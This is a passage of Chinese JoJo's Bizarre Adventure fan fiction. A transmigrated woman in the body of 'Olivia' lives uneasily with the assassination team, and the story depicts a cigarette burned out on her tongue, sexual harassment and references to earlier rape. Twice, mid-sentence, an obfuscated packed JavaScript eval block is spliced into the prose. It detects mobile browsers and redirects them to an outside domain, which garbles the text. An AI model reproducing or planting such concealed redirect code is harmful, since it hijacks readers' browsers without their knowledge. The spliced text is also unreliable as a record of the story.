没有人说话。里苏特点点头。他说他会着手调查,如果我所说的属实,他们便不会伤害我。但如果我说的是一派胡言,他们会立刻解决我。我终于松了一口气,不过还没完,我很快就被推推搡搡地带到审讯用的地下室里,拿一根链子栓在了墙角。 我清楚能有这待遇我已经得感恩戴德。我盘算着我不能一开始就把所有东西就说出来,否则他们很有可能卸磨杀驴,把所有情报套来之后直接把我杀了。我决定睡觉。靠着墙侧着身子躺下,地下室很冷,有一股奇怪味道。我有点打哆嗦。大概几个小时后我开始发烧,意识模糊,身上烫的吓人,我蜷缩着,祈祷自己别就这么死在地下室里。 地下室没有窗户,始终是黑的,我逐渐失去了时间的概念。不知道过了多久之后梅洛尼进来给我送饭,一小盘剩的意大利面还有一碗水。我没什么精神,耷拉着眼皮,他注意到我情况不好,摸了一下我的额头,啊了一声,说等一下,然后走了。 他很快回来了,带了几片药还有一条毛毯。他看着我老老实实地吃了药,把毯子裹在我身上,始终是笑眯眯的。梅洛尼对女人都这样,很温和,但又很疏离。那么一瞬间我甚至怀疑他是不是从一开始就没信过我,他装成那样只是想名正言顺地把我养起来。 梅洛尼走了。毛毯总算让我觉得暖和了些,我靠着墙坐着,想最近发生的事。我的头很疼,没过多久又开始犯困。我睡着了。 —to be continued— 3. 不速之客(其二) 我在地下室过得并不好。梅洛尼走后很长一段时间再也没人来找过我。我不知道具体是多久,总之对我而言在体感上是相当长的一段时间。我醒了就无事可做,头昏脑胀,只好自暴自弃裹着毯子继续睡觉,然后重复。 听着头顶上偶尔传来的脚步声,我觉得自己还不如一头撞死算了。我盯着墙上的苔藓发呆,渐渐地又开始眼皮打架。为了防止睡太多脑子生锈,我开始试着给自己找点事做。我把衬衫解开,开始盯着自己的——应该说是奥利维娅的身体看。我看到身上在那天晚上被勒出的印子,还有应该是在我来到这个身体上之前就有的烫伤(基于那天的屋子里出现了烧过的蜡烛,我不太好奇这是怎么出现的)。 并且我很惊讶地发现奥利维娅没有体毛。比起特意除过,更像是她本来就没有。就在我研究人体奥秘的时候普罗修特下来找我。他看见我这幅样子愣了一下,皱起眉头,“你那是干什么呢?” 他甚至没有任何避嫌的意思。 我尴尬地把衣服系上,乖乖等他发落。他又在抽烟,我觉得他一天有二十个小时以上都在抽烟。他说有几个问题需要向我确认,听起来非常不耐烦。可能他们是通过猜拳的方式来决定谁下来找我的而他输了。 普罗修特问了我几个问题,像是“乌纳”是不是老板的姓氏之类的,有的问题在我听起来很蠢,但考虑到这是三年前有很多事情还没有发生所以我只能在心里原谅他们。 问完了几个跟老板和老板女儿相关的问题之后他问我的名字。我才意识到这么长时间他们没有一个人在意过我的名字。起初我挺气愤的,不过很快我就再一次原谅了他们,因为我知道他们是热情暗杀组(其实我也是),每个都那么不是人,这很正常。 “奥利维娅。”我说。 “姓呢?” “……没有。我没有姓,先生。” “可怜的小东西——张嘴。” 我不知道他要做什么,只敢照做。然后他俯下身,把香烟直接在我舌头上按灭。真的很疼。我听见自己的惨叫声,同时他把烟头扔到地上,警告我不要动什么歪心思,老老实实待在这里,然后转身就走。 我的舌头还在隐隐作痛。我突然想如果我是伊莎贝拉这种事情是不是就不会发生。事实证明还是会。妈的性虐待狂。 普罗修特走后又是很长一段时间没有人来找我。我想继续睡觉来消磨时间,但是再也睡不着,我舌头上的伤口很疼,还有肚子很饿。那盘意面之后我再没吃过任何东西。我感觉他们本来根本就没打算给我吃的,那意面只是谁吃剩的或者不小心做多了饭然后他们在倒掉之前想到地下室还有个活人等着要喂(并且除了梅洛尼没人愿意来干这个)。 我突然理解了那些患上斯德哥尔摩的人质。我有点想念梅洛尼了。 我盯着手腕上的手表发呆。指针始终静静地指向凌晨三点。我不知道他们是不是跟我一样能看到这个。奥利维娅不是替身使者,所以我看不见替身,但我能看见这个表,这理应说明它是普通人也能看见的,虽然它是由我的替身夜车以一种我所不知道的形式拼凑组合的(并且我没看出来)。 不过的确直到现在都没有人注意过这块表。比起一块表,它更像一个肿瘤或者什么的,就连我最初裸着的时候也好好的待在我的手腕上——嘿,那三个男的就下半身思考到这种程度,甚至都没注意到他们搞的女人胳膊上突然多了个东西?我试图说服自己有可能是在我过来之前奥利维娅就已经戴着这么个东西了,然后脱衣服的时候唯独留着它,就像某种家族护身符——这更不合理了吧?! 我第一次试探性地去触碰它,和普通的手表没什么区别,用指甲敲能发出哒哒的声音——就像一个普通的表。但先前的设想让我坚信除了我没人看得见它,我计划着找个机会验证一下。 就在这时候我再一次听见有人从楼梯上下来,我抬起头,是普罗修特。他很不耐烦地告诉我里苏特要见我,现在跟他到楼上去。与此同时我惊讶地发现胳膊上的链子化成了一滩铁粉。我才意识到这是里苏特用金属制品做的。 重获自由后我的第一件事就是向普罗修特确认我的猜测。我把胳膊举起来,问他有没有看到什么。他用一种看弱智的眼神看了我一看。这更坚定了我的想法。我指指那块表,问他这是什么。 一块表。他说。看到我奇怪的表情又补充道:一块坏表。 好吧,看来那几个男的只是忙着爽一下回本,根本没把这块表当回事。我不知道怎么评价自己现在复杂的心情,但显然普罗修特没想再让我感叹,我先前的举动已经耗尽了他所有的耐心,他拽着我就往楼梯上走,我被扯的痛呼一声,他啧了一声,停下来回头看了我一眼,可能是怕我像上次那样一不小心又晕过去了。他现在肯定觉得我麻烦死了。 在黑暗的地下室待了太久,我被客厅的光线刺得直眯眼。我知道了为什么普罗修特一眼就知道那表的时间不对,因为他妈的外面阳光普照,无论是凌晨三点还是下午三点都说不通。 我像个囚犯一样被普罗修特从身后按着送进书房里。他和里苏特交谈了几句,然后走了。 里苏特的态度比较平淡。他给我看一些照片,粉红色头发的小女孩,特里休,从角度上不难看出是偷拍。他告诉我他们所调查到的信息与我所说的基本吻合,如果这女孩的确是老板的女儿,那我所掌握的信息足以让我陷入一场大麻烦了。我心想跟这女孩扯上关系的人的确是大部分下场都不怎么样。 我说这下你总能相信我说的那些关于未来的事儿了吧?由于先前普罗修特在我舌头上烫了个疤,我说话的时候有点口齿不清,听起来有点蠢。里苏特点点头。他说由于他们对未来一无所知,在必要时他们会询问我的意见,同样的,如果我真的像我所说的那样和他们处在同一阵营,就该对他们毫无保留。 你相信我吗?我问他。 其实不用问我也知道里苏特不可能这么轻易就信任我,不如说他不会轻易相信任何人。我知道他和普罗修特认识了足足两年才在他们一起吃饭的时候不带枪,这跟普罗修特无关,里苏特就是这样的人,他很谨慎。 里苏特没回答我的问题。他把照片收起来,然后告诉我他们不会再像对待人质一样对待我,我可以住在走廊另一边的杂物间里,需要我稍后自己去整理一下,那里可能还有个旧床垫。 我的肚子非常不会看场合地叫了起来,打断了他。他看了我一眼,我尴尬地笑了笑,说我自从被你们关起来几乎是一点东西没吃。他表示没关系,如果我想的话,可以现在就去弄点吃的。之后如果还有关于老板的信息,或者是我需要帮助的话,就来书房找他。 我向他道谢,转头就要走。里苏特把照片收进抽屉里,又突然想起什么似的叫住我。我们四目相对,他问我:你的舌头怎么了? 我只好伸出舌头给他看那个疤。他的表情有点复杂,但语气很自然,普罗修特,是吧? 他们比大多数人想象的还要了解彼此都是些什么人。 我下楼到厨房去,从柜子里翻出半袋面包,狼吞虎咽地吃起来。我实在饿极了,吃东西的样子绝对说不上美观。 自由的感觉非常好。我紧绷的神经终于得到了放松。客厅里没有人,我填饱了肚子,在客厅里转了一圈,回到楼上去。我径直走向里苏特所说的杂物间——那本来应该是我的卧室。我推开门,映入眼帘的是一大堆乱七八糟的东西。屋子的正中央是一堆被淘汰下来的健身器材,门口有一堆箱子,还有更多的箱子摞着放在角落里。 我不知道这些东西本来都放在哪儿。这确实是在我所知道的范围之外的。这里的东西放的毫无章法,我随意地在一个箱子里翻了一下,拿出两本家庭食谱,还有加丘的游戏光碟。我在另一个箱子里发现了很多成人杂志。我甚至在角落里找到一卷瑜伽垫——我从来没见过这里的任何一个人用它。 我把那个床垫拖出来放在地上,花了一些时间来整理这里。虽然看起来还是很乱,并且和我本来房间的布局相差甚远,但好歹我有了个睡觉的地方。我还找到一个勉强能走的老式钟表,这里没有参照物让我校对时间,但我还是把它放在离我很近的地方,权当一种精神慰藉。我在床垫上躺下来,把毛毯盖在身上,看着天花板,感到一阵舒适的困意。我闭上眼。 我不知道自己睡了多久。这可能是我这么长时间以来睡的第一个比较踏实的觉,我醒来的时候房间里很黑,一缕冷色调的阳光从窗帘里透出来。我判断现在应该是凌晨。我看了一眼那个被我放在一边的时钟,指针指向九点半。看来这钟是坏的。 我揉揉眼睛,光着脚走下楼。客厅里也很黑,窗帘还没有拉开,梅洛尼坐在沙发上,膝盖上放着电脑。他看见我,抬起头对我笑了一下。我不确定梅洛尼是醒得很早还是整晚没睡,整个暗杀组从来就没有比他起得更早的人。梅洛尼的作息和生活习惯都非常不健康,但他总能很精准地把自己的身体状况控制在及格边缘(具体标准可能是不会走在路上突然晕倒,我也不确定,因为他在我面前晕倒过,虽然这事儿也只发生过一次)。 “现在几点钟?”我问他。 凌晨四点十八分。他说,然后拍拍沙发,邀请我坐到他旁边来。我照做了。一片昏暗中,电脑屏幕发出刺眼的荧光,梅洛尼的绿眼睛专注地盯着屏幕,而我盯着他的脸。梅洛尼和乔鲁诺都有一双绿眼睛,但它们给人的感觉却截然不同。如果一定要说相似的话,它们都很吓人,是那种隐藏在笑容下面的阴森森的恐怖。 仿佛察觉到我直勾勾的视线,梅洛尼转过头,问我怎么了。我说没怎么,视线又在他垂下来的头发上停了一会儿,说,我觉得还是紫色头发适合你。 “什么?” “噢,你未来会染紫色的头发,就像……浅紫色,我比较习惯那个发色的你。”我诚实地说。 梅洛尼对未来这个话题起了兴趣,开始问我未来都发生了些什么,像是科技与医学上有没有什么重大发现。我白了他一眼,说我只是来自三年后,又不是三十年后。我只知道未来娃娃脸会被拿来看色情片。他笑了,看起来对这个回答还挺满意的。梅洛尼摸摸我的头发,夸我可爱,而且有意思。 梅洛尼告诉我里苏特让他们没任务的时候就留在据点看着我,不能留我一个人在据点,也不能让我出门。我就知道里苏特不会完全信任我。我问他这屋子里还有谁,他说伊鲁索——噢对了,顺便说一下,他可能不太想跟你待在一起,小心一点哦?梅洛尼说话的时候始终笑眯眯的,但我觉得我被威胁了。 我有点后悔自己为什么偏偏惹上了这么一位大爷。伊鲁索很记仇。 梅洛尼可能猜到了我在想什么,他大笑起来,说没关系,伊鲁索要是伤害我的话,他会保护我。我心想他扯蛋,知道我有不止一条命可以给他们玩的时候最兴奋的人可不是伊鲁索而是他。 我不想再在沙发上待下去了,去厨房里晃了一圈,又想起梅洛尼的话。我不太想遇见伊鲁索,为了避免在某个转角碰到他,还是直接上楼回屋去了。 这里被我简单收拾过,但还是很乱,有很多箱子里连我也不知道里面有些什么。我找出一些旧的旅游杂志,虽然很枯燥,但至少能拿来打发时间。 杂志上有很多风景照片,我盯着埃菲尔铁塔开始神游。我不可避免地想起乔鲁诺,想起自己作为一个废人躺在医院病床上的样子。身负改变命运这个重任让我无论如何都不能完全放松下来。我开始思考下一步该怎么做,也许等里苏特回来我该再跟他谈一次话,关于索尔贝和杰拉德——我实在是不想他们再去送死。 我看着杂志,不知道过了多久,听到楼下传来门的响声。有人回来了。我听见加丘和霍尔马吉欧的声音,由远及近,他们一边说话一边往屋里走,我听见他们在讨论看哪部电影的事。 加丘看到我,发出一声见了鬼一样的大叫。他立刻转过头,连连后退,那反应就像他进的是公共女浴室。我不明白他干嘛这么大反应, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14744047|157517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我又不是裸着,然后猛然意识到加丘今年才十七岁。 加丘大骂道为什么他妈的这女的会出现在屋里,谁让她进来的!噢里苏特可能并没有跟每个人说这件事儿。霍尔马吉欧哈哈大笑,拍拍他的肩膀,说放松点小子,队长让她之后都住这儿。加丘气坏了,他不愿意看我,但即使背对着我也看见他脸红到耳根了,因为我浑身上下只穿了件衬衫,也是因为气的。 加丘一向很尊重队长,所以他没有骂里苏特,而是骂我。他质问为什么不把这女的扔在地下室里,明明她什么用都没有!霍尔马吉欧跟我一样喜欢逗他,就像现在,他笑嘻嘻地说好啊,那我们晚上就跟队长说这件事,但是因为是你提出来的,那之后你就得每天给她送饭,还有打扫地下室的卫生,因为那下面没有厕所——操!他崩溃地大叫出声,谁要管她啊!你爱管你自己去管,谁叫你上次把她给杀了!——嘿,谁他妈允许你笑了! 我真的忍不住。在我看来加丘生气的样子大部分时间都很好玩,更何况现在他还没成年,那张青少年的脸发起怒来就更有意思了,他看起来就像只暴躁的小吉娃娃在跳脚。我知道如果我把现在的想法说出来肯定会换来一顿毒打。 霍尔马吉欧把气得想砸东西的加丘从后面拦住,连连劝他兄弟要不你还是先下楼去,我们待会再说电影的事。他的出发点应该是好的,虽然他还是在笑。加丘骂骂咧咧地走了,这场闹剧暂时告一段落。霍尔马吉欧没有走,他还笑着,看起来并没有半点因为曾经亲手杀死过我一次而愧疚或感到不自在的意思。加丘那小子挺神经质的,是吧?他问我。我说他就这样,并且之后的几年也这样。他哈哈大笑。 也许的确该给你买身衣服。他说。我心想噢你还知道这件事啊,我以为这里的每个人都默认了我能裸着满屋走并且自动无视我呢。 我在屋子里一直待到晚上。 贝西上来叫我去吃晚饭,他也有点不敢看我。比起这些年轻男孩们,我倒是已经习惯了这身装扮,大大咧咧地走下楼。我很高兴他们愿意接纳我上桌吃饭而不是再让我吃剩的。 在餐桌上,霍尔马吉欧真的信守承诺提出了给我买衣服这件事。伊鲁索骂他纯属闲的,随便找件衣服给她就行了,干嘛非要去买?——哦这小婊子跟你说点花言巧语你就爱上她了是吧?毕竟平时没有女人愿意跟你搭讪。 看吧。伊鲁索非常记仇。 我只好妥协,说好吧我穿加丘的衣服就行了——他妈的为什么是我?!他大叫道。老实说,小子,你得适应这个,未来不止一个女孩会穿你的衣服。我忍不住说道。 加丘看上去更生气了。眼看着他就要把桌子给掀了,里苏特总算主持了大局,他表示就让我这么衣冠不整地出现在据点里确实不太好,应该由一个人自愿去为我买两身日常穿的衣服。 这活最终理所应当地落到了梅洛尼头上,除了他没人愿意去。他表现得很开心,我有点不寒而栗,因为我知道他开心的时候很快就要有人不开心了,而从现在这个情况看来那个人大概率会是我。 其实我穿什么都无所谓。我说,然后忍不住提出了一直在我心里的疑问——这儿就找不出一件女人的衣服吗?难道你们就没有一个人曾经带女人回来过?别告诉我没有,我知道一半以上的人都带过。 我房间里有些内衣。你想试试吗?梅洛尼立刻说。 我赶紧说不用了,跳下沙发就要离开这个是非之地。脚底再一次沾到冰凉的地板时,我没忍住说你们能顺便给我买双鞋吗? 你穿加丘的就行了嘛!霍尔马吉欧接着我餐桌上的话头说道,一群人在我身后哄笑起来,夹杂着加丘的叫骂声。我实在有点无语,感觉自己像个因为身材发育过早被班里男生嘲笑的中学女孩。霍尔马吉欧有时候真的挺幼稚的,尽管他确实很靠谱。 我又一次去了里苏特的书房。他像是知道我会来而在那里等着我一样,看到我没有半点意外的神色。 我开门见山,跟他说既然他们已经知道了未来会发生的事,那就必须让索尔贝和杰拉德停止调查老板。其实我说这些已经没什么必要了,因为他们刚刚还在餐桌上吃饭,但我就是放不下心。 我又从知道的那些信息量巨大的情报里挑了一点无关紧要的告诉他,虽然这样很不好,但我得确保自己不会被他们用完就扔,而且如果他们知道了所有事,那决定权可就不在我手中了,我不知道他们会做出什么来。我感觉手心开始冒汗。 我问里苏特,如果我又因为什么意外死了,下一次你们能不能认出我? 里苏特表示我们现在所讨论的事情——包括我所知道的情报,或者现在正在我们所有人之间发生的事情——都能作为我是“我”的依据。我说无论是什么,只要到时候你相信就行,我可不想再被关上几天或者再被他们拿什么特殊手段对待了——天知道我昏过去那段时间梅洛尼到底干什么了?? 里苏特沉思了一会儿,站起来,表示如果我愿意的话,他会与我共同作出一份双保险。我不知道他要做什么,但我愿意相信他。 里苏特握住我的两只手,我这才后知后觉地意识到我们两个现在的体型差距之大,里苏特的手能完全把我的手包裹住。我感到掌心一阵疼痛,像什么东西从皮肤下面钻出来。我疼得直抽气,鲜血淅淅沥沥地顺着我们的指缝滴下来,被深色的地毯沉默地吸收。 我的手被松开了。我张开双手,看见掌心静静地躺着一枚方形的铁质吊坠。里苏特用拇指和食指捻过它,那上面的角落又缓缓浮现出一小行花体字。那是我的名字,奥利维娅。里苏特让我把它收在房子里任意一个地方,放在哪里都无所谓,只要我能找到,这样等意外真的发生的时候我再次来到这里找到它,就能说明我曾经存在过。这简直像个哄小孩的寻宝游戏,但它建立在这一切不可思议之上,变得无比认真。 我攥着那个从我自己的血液中诞生的小铁片,感到心脏一瞬间被收紧。 —to be continued— 4. 不速之客(其三) 我把那个吊坠放在床垫下面,小心地将它压好。这是一个很老套的藏东西的地点,从路上随便找个人都能猜到,但我知道里苏特的重点不是我它放在哪儿,而是这个东西本身。除了我们之外的人的确很难知道有这么个东西存在。 不知道是不是因为得到了里苏特的承诺,我今晚睡得很踏实。我做了一个梦,梦见我还是伊莎贝拉,并且我还没有加入□□。我和在米兰认识的女孩们一起逛街,做美容,到了晚上一起聚在酒吧喝酒跳舞。我们尽情享乐,音乐声震耳欲聋,变幻的灯光映照着女孩们的笑脸,我觉得自己挤在人群中被推推搡搡,摇摇晃晃的站不稳。 我几乎觉得自己被挤得双脚离地,这太古怪了,舞池里什么时候挤进来这么多人?女孩们的笑声在我耳边渐渐地模糊不清,炫目的灯光让我眼花缭乱,我感到一双手不老实地放在我的腰上,并且逐渐上移——我醒了。我睁开眼睛,再次和梅洛尼四目相对,和我来到这儿的第一天如出一辙。 我尖叫出声。梅洛尼的手还放在我身上,他看见我笑了,用手指抵住我的嘴唇,跟我说不要害怕,他只是想替我量三围,好给我买身合适的衣服。我拼命挣扎,心想这实在不是一个很好的让他大清早跑到我房间里一顿乱摸的理由。 梅洛尼的眼神飘忽,看上去很亢奋,我判断他应该是用药了。老实说我不是很放心他就这个状态出门,不是不放心他,是不放心其他女性。我不得不接受自己现在是一个孤立无援的小可怜的现实。我妥协了,接受了他一番堪称是性骚扰的身体数据测量。梅洛尼对我一顿上下其手后就走了,他甚至没有拿个皮尺什么的,我怀疑他只是嗑上头了然后想摸我。 被这么一顿折腾我也睡不着了,借着窗帘缝隙里透出来的光,我开始想最近发生的事。我又想到乔鲁诺,他现在在干什么?那个漆黑的诡异的空间到底是什么样的?这个只有15岁的少年身上有太多秘密,他身上散发着一股特殊的气质,仿佛他是掌控一切的人——好吧,至少现在他在掌控我。我突然想他能不能看到现在的我。我不知道我看起来怎么样,反正这很尴尬。 我希望他没看到我被迫伺候那几个混蛋男人的模样。 我在房间胡思乱想了很长时间。我觉得饿了。我走出房间,去厨房找吃的。大多数时间这群人都各干各的,所以一般不存在早餐和午餐。只有人数稍微多一些的时候,才会聚在一起吃顿饭,一般是晚饭。 我打开冰箱,发现了很多冰镇啤酒。我想反正我已经沦落到如此境地,这帮人应该不会介意我喝点酒。我拿了一罐,拉开拉环,易拉罐发出清脆的一声响声。我喝了一大口,感觉酒精暂时抚慰了我受了很多刺激的心灵。我咕咚咕咚地大口喝起来。 我的肚子是空的,冰凉的液体直接灌进胃里,刺激着胃壁。我再次高估了奥利维娅的身体,因为我的胃立刻绞痛起来,我痛苦地蜷起身子,心想这女孩身体素质这么差是怎么每天晚上被折腾还活到现在的。我弯着腰,以一个诡异的姿势走向橱柜,想找点东西填肚子。我找到一盒饼干,来不及多想,撕开包装就往嘴里塞,吃得狼吞虎咽。 就在这时伊鲁索从楼上下来。他看了我一眼,眼神充满了嫌弃。这个长发的大个子以一种刻意无视我的姿态绕过我,接了杯咖啡,又瞪了我一眼,转过身走了。 伊鲁索有时候是真的很孩子气。 我没心情跟他计较,我的胃还在隐隐作痛,我走到客厅,蜷缩在一个单人沙发上,头枕着扶手。梅洛尼走了,现在这屋子里就只剩下伊鲁索。我不得不面对他——说实话,我不太介意,所以不如说是他不得不面对我。想到这我突然有点想笑。 我躺了一会,伊鲁索又走了出来,他绕过我径直走向旁边的长沙发,拿起遥控器打开电视。体育频道中场休息的动感音乐响彻整个客厅,我瞥了一眼电视机里热情洋溢的拉拉队女孩们,翻过身继续躺尸。 我听到裁判员吹哨的声音,比赛开始了。很长时间没有人说话,屋子里只有电视的声音,还有我偶尔因为胃痛发出的哼声。过了大概十多分钟,伊鲁索实在是忍不了了,他走过来,直截了当地问我:你他妈到底怎么了? 我胃疼。我可怜巴巴地看着他说。 伊鲁索非常嫌弃我。他骂了我一句,让我自己回屋疼去。我说我站不起来,我走不动,你抱我吧。一方面是因为我得想办法跟伊鲁索搞好关系,另一方面是因为奥利维娅的身体太虚弱了,我现在是真走不动。 伊鲁索无语了。他现在的表情就像看见一具死在据点客厅里的尸体。反正我现在也没有什么颜面可言,我说哥哥,伊鲁索哥哥,求求你啦。在他骂我的那一连串话中我找了个夹缝说我好伤心哦,你就这么讨厌我?明明我们曾经是最好的搭档。 “哈?” 看来他只在乎这句话。我赶紧说伊莎贝拉,你记得吧?我说的那个名字,伊莎贝拉。在我是伊莎贝拉的时候(我知道这个说辞很怪),我们的替身能力超合拍的。 伊鲁索挑了挑眉,说你能看到替身?我说现在不能,但是伊莎贝拉能——我的胃疼死了,你要是还想听伊莎贝拉的故事,就把我抱到床垫上去。 伊鲁索转身就走。我赶紧叫了几声向他妥协,我说我错了,拜托,我想多跟活人说说话!我给他讲了夜车,讲镜面反射的光线是如何像子弹一样击中敌人的眼睛和心脏,尸体又是如何被拖进镜子里从此消失得无影无踪。伊鲁索看起来对我的话非常感兴趣,我借机又说了几句他的好话,像是镜中人是多么强大的替身,他本人又是多么足智多谋多么杀伐果断一类。 伊鲁索其实很好哄,这一点我最清楚。只要说两句他的好话他就能尾巴翘到天上去,虽然他不表现出来。伊鲁索一向很高傲。他冷哼了一声,说本大爷的实力当然如此。你看吧,我就说伊鲁索特别好哄。 酒精渐渐发挥了它的作用,我觉得有些头晕。我弱弱地说那我们之前的恩怨能不能就这么算了?其实说是恩怨,也就是我在组里其他人面前说了几句他的坏话(并且是事实)。他没说话。我又说如果你答应我,我就告诉你霍尔马吉欧的糗事,别人的也行,我知道的可比你多。 这下他装不下去了,他立刻凑过来问我霍尔马吉欧都怎么了?他可要好好嘲笑他一阵子来扳回一局。伊鲁索非常喜欢八卦。这回我终于暂时掌握了主动权,我哼哼一笑,说你答应我件事,我就给你讲。我能从白天一直讲到晚上。 什么事?伊鲁索问我,看起来有些迫不及待。我转转眼珠,说你抱我起来。他看起来不太情愿,但为了听八卦还是照做了。我感到一只大手抓住我的腰,另一只手放在我大腿上,然后整个身子悬空,我就这么被他抱在了怀里。 我很突兀地想起我是伊莎贝拉的时候也被这么抱起来过一次,那时伊鲁索抱怨我重,我哈哈大笑,说你该多健身了,你该多举举铁。而现在的我轻飘飘的,头靠在他胳膊上,小腿悬空,就像一张纸片,他抱起我轻轻松松。 伊鲁索抱着我就要上楼,他可能以为我还是想让他把我抱到房间里躺着,我抓抓他的胳膊,抬头叫他,说不要,你到镜子前面去。他一头雾水,抱着我走到客厅那面大镜子前面去,有些不耐烦地问我到底想干嘛。我说不干嘛,我就是想照照镜子。 我的确只是想照镜子。自从“成为”奥利维娅,我还没好好地看过自己的样子。我转头看,镜子里的我,奥利维娅,躺在伊鲁索怀里,黑头发有些凌乱地散着,那双蓝眼睛给我一种说不出的感觉。奥利维娅就是这样的一个脆弱的小女人,她的最好结局也就是遇到个对她一见钟情的有钱男人,然后把她买回家。我不能,也不敢确定她能不能拥有幸福。 我再次看向伊鲁索,问他你想听什么样的?我知道霍尔马吉欧和猫的故事你自己就听得够多了,是吧?他被我逗笑了,说那当然,谁都知道他不招猫喜欢,却还总要去招惹猫! 我也笑了,我说那我给你讲个别的,你见没见过霍尔马吉欧有次出任务因为忙得连轴转连着一周没洗澡,胡子拉碴邋里邋遢的样子?终于解决了目标他就那副样子坐在路边休息,结果被路过的路人扔了两个硬币!我们同时大笑起来,我的小腿乱蹬蹭着他的肩膀,伊鲁索这次没嫌弃我了,他笑得特别开心。他能因为这种小事就接纳我也说明他有时候是真的孩子气。 伊鲁索胡乱揉了一把我的头发,笑着让我再讲一个,他要把这几天的全扳回来。我正要给他讲曾经霍尔马吉欧和我(伊莎贝拉)在酒吧遇到变性人小姐的故事时门突然响了。梅洛尼回来了,他拎着几个购物袋,看见我们这么站在镜子前面,表情一下子兴奋起来,说Di molto!你们完事了吗?我打扰你们了吗? 我不知道现在最尴尬的人是谁,不过我想应该是伊鲁索,因为我感到一阵天旋地转,然后我就被掀在了沙发上,小腿重重磕上茶几,我痛叫了一声,抬头看到伊鲁索脸涨得通红地跟梅洛尼争辩。他指着我说是这女的先拿冰箱里的酒喝,喝完了又嚷嚷着胃疼,我实在是看不下去才——梅洛尼打断他说噢我知道啦,她喝了酒,然后屋子里又只有你们两个,所以你们就那样了,对吧! 我看伊鲁索这辈子也解释不清了,我爬起来,问梅洛尼你买的衣服呢?他看了我一眼笑了,说哎呀,我差点忘了,然后从一个袋子里拎出一条在我看来布料不到我现在身上四分之一的迷你裙。我心死了。 伊鲁索和我的表情都不太好,梅洛尼却笑眯眯的。他把那条裙子塞回袋子里,拉着我的手说要带我去试衣服,他买了好几身,保证我会喜欢。 我被梅洛尼拽着上楼,直接进了他的房间。我环顾四周,梅洛尼的房间很干净,但很乱。我知道这两个词放在一起很奇怪,可是它们就是奇妙地共存——房间里一尘不染,床铺收拾得整齐,可桌子上堆满了东西,针筒和药瓶散落一地,古怪的玻璃瓶堆得乱七八糟。梅洛尼把衣服一件件拿出来一次铺在床上,笑着让我选。我实在是没什么好选的,这里的每一件衣服都一样又短又小。 我说随便哪件都行,说完随手抓了两件就要走——哎,那可不行啊,梅洛尼一把抓住我,力气大得吓人。他说必须得让我把每件衣服都试试才行,毕竟这每一件都是他精挑细选的,得确保穿起来合身。他依旧很亢奋。我知道我不能拿梅洛尼怎么样,只能答应说好,那你让我把衣服都拿走去换总可以了吧?梅洛尼看看我,语气很轻松地说就在这儿换吧,没什么不一样。 我认命了。我只好在他面前一颗颗解开扣子,褪下那件宽大的衬衫。这场景很奇怪,我浑身赤裸,站在一个男人的房间里,我们两个的态度却都很自然。梅洛尼看着我,就像看一块肉。他亲手给我穿上衣服,露出腰腹的短上衣,紧身的无袖衬衫,系带的短连衣裙,出乎我意料的是这些紧身的衣服竟然每件都那么合身。 梅洛尼给我换衣服时很专注,始终带着笑意,他摆弄我的四肢就像摆弄一个换装洋娃娃。梅洛尼享受这种换装游戏。我只能尽力配合他,我瘦小的身体任他摆弄。我突然觉得自己像个生活不能自理的孩子,让大人帮忙穿衣服,抓着手指让胳膊穿过衣袖。 梅洛尼突然捧住我的脸,他叫我不要走神,又捏捏我的嘴唇,叫我张开嘴。我不明白他想干什么,但还是张开嘴,他的手指伸进来,和我在客厅昏倒又苏醒时的触感一样,有些冰凉的皮革触感。 他摸摸我的牙齿,轻轻抓住我的舌尖。我懂了他的意思,乖乖伸出舌头。我好像知道他想干什么了。果然他盯着那个圆形的疤看了一会,用手指轻轻抚摸了一下,问我疼吗? 我摇摇头说不,已经基本愈合了。不过刚开始的时候的确很疼。梅洛尼笑了,他绕到我背后去,给我系好脖子上的系带,一条胳膊很自然地环住我。 “普罗修特把你当烟灰缸,但是现在不是了,”梅洛尼凑上来,他金色的头发蹭在我脸上,“你是我们漂亮的小姑娘——看看你细致的身体线条,你该把它们都展示出来,就连你腿上的淤青也很漂亮!好女孩,你喜欢这些衣服吗?” 我感到脊背有些发凉,不知道为什么。明明我早就熟悉了梅洛尼,我知道他是什么样的人,明明我早就适应了他的作风,可为什么他从背后抱住我的时候我还是会发抖? 我挣扎了一下,抓起床上里我最近的两件衣服,说衣服很漂亮,我很喜欢,转头就要走。我想赶快逃离这里。梅洛尼一把拽住我,他死死掐着我的手腕,我疼得叫出声来,但我抬起头,他的表情却是平和温柔的。他塞给我一个盒子,说别着急走嘛,他还给我带了惊喜呢,你肯定会喜欢,快打开看看吧! 我打开盒子,里面是一双凉鞋,脚踝处设计了交叉的绑带。我有些惊讶,毕竟我不被允许出门,我都已经做好了一直光着脚走路的准备了。梅洛尼让我坐到床上去,他拿起鞋子,捧起我的脚给我穿上。鞋子不大不小非常合脚,我忍不住问梅洛尼你怎么知道我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14744048|157517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的鞋码的?梅洛尼说之前有次我到地下室来,看见你在睡觉,你的脚伸到毛毯外面去,于是我就——我不是很想听了。 我站起来试着走了两步,太久没穿鞋子我甚至还有些不适应。我向他道谢,把那一堆衣服塞进一个袋子里,拎起来就走。我听见身后传来梅洛尼的声音:有空来这里找我吧?我想多看看你穿这些衣服呢。 